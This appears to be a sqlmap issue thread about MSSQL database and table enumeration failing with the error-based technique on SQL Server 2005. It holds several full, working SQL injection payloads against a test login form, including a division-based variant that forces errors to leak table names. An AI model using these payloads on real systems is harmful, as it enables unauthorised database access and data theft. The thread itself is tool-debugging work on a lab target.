Look into --dbs and --tables across all MSSQL versions

[bdamele]

Verify that --dbs and --tables work across all MSSQL versions (primarily 2008) with all techniques and address bugs, if any arise

[bdamele]

With regards to --dbs, consider falling back to SELECT DB_NAME(N) if current statement fails.

[bdamele]

No issues detected on MSSQL 2005 with any of the techniques: works with privileged DBA and normal user.

[Meatballs1]

--dbs and columns and dump with works fine with error based technique however I'm having problems with --tables (Microsoft SQL Server 2005):

---
Place: GET
Parameter: txtPassword
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUKMjEyNDQ3ODY4NGRk&txtUsername=a&txtPassword=a' AND 9348=CONVERT(INT,(CHAR(113) CHAR(97) CHAR(115) CHAR(111) CHAR(113) (SELECT (CASE WHEN (9348=9348) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(113) CHAR(102) CHAR(100) CHAR(115) CHAR(113))) AND 'jIBV'='jIBV&btnLogin=Login
    Vector: AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---

Query is the following with no filtering etc:

"select userID from Users where userID = '" + username + "' and password = '" + password + "'"

By removing the delimiter either end of the sqlmap payload I can manually invoke an error page with the table name:

a' AND 1185=CONVERT(INT,((SELECT TOP 1 SUBSTRING((ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32))),1,100) FROM sqli..sysobjects INNER JOIN sqli..sysusers ON sqli..sysobjects.uid = sqli..sysusers.uid WHERE sqli..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 0 ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM sqli..sysobjects INNER JOIN sqli..sysusers ON sqli..sysobjects.uid = sqli..sysusers.uid WHERE sqli..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name) ORDER BY sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name))) AND 'bdiQ'='bdiQ

But original (with delimiter) fails to cause an error:

a' AND 1185=CONVERT(INT,(CHAR(113)+CHAR(97)+CHAR(115)+CHAR(111)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32))),1,100) FROM sqli..sysobjects INNER JOIN sqli..sysusers ON sqli..sysobjects.uid = sqli..sysusers.uid WHERE sqli..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 0 ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM sqli..sysobjects INNER JOIN sqli..sysusers ON sqli..sysobjects.uid = sqli..sysusers.uid WHERE sqli..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name) ORDER BY sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name)+CHAR(113)+CHAR(102)+CHAR(100)+CHAR(115)+CHAR(113))) AND 'bdiQ'='bdiQ

I dont see why the integer conversion would fail because of the delimiter though..?

[Meatballs1]

Retrieved the following from management console which is what is actually being executed and gives no error when re-executed directly:

select userID from Users where userID = 'a' and password = 'a' AND 1185=CONVERT(INT,(CHAR(113)+CHAR(97)+CHAR(115)+CHAR(111)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32))),1,100) FROM sqli..sysobjects INNER JOIN sqli..sysusers ON sqli..sysobjects.uid = sqli..sysusers.uid WHERE sqli..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 0 ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM sqli..sysobjects INNER JOIN sqli..sysusers ON sqli..sysobjects.uid = sqli..sysusers.uid WHERE sqli..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name) ORDER BY sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name)+CHAR(113)+CHAR(102)+CHAR(100)+CHAR(115)+CHAR(113))) AND 'bdiQ'='bdiQ'

I can get it to trigger the error with the following conditions:
a) change the AND to an OR
b) Use a valid userid and password
c) Remove the char() delimiters

I kinda understand its some kind of boolean short circuit but dont really understand why the CHAR() delimiters prevents it from evaluating it when its ANDed

[Meatballs1]

http://msdn.microsoft.com/en-us/library/ms190276.aspx

Is what I need but doesn't clear it up. Its a comparison so should be evaluated before the AND...

Doing the following also forces it to evaluate by putting it in another SELECT and using division:

select userID from Users where userID = 'a' and password = 'a' AND 1185=(SELECT 1185/CONVERT(INT,(CHAR(113)+CHAR(97)+CHAR(115)+CHAR(111)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32))),1,100) FROM sqli..sysobjects INNER JOIN sqli..sysusers ON sqli..sysobjects.uid = sqli..sysusers.uid WHERE sqli..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP 0 ISNULL(CAST(sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM sqli..sysobjects INNER JOIN sqli..sysusers ON sqli..sysobjects.uid = sqli..sysusers.uid WHERE sqli..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name) ORDER BY sqli..sysusers.name+CHAR(46)+sqli..sysobjects.name)+CHAR(113)+CHAR(102)+CHAR(100)+CHAR(115)+CHAR(113)))) AND 'bdiQ'='bdiQ'

[stamparm]

@Meatballs1 find it fixed with #467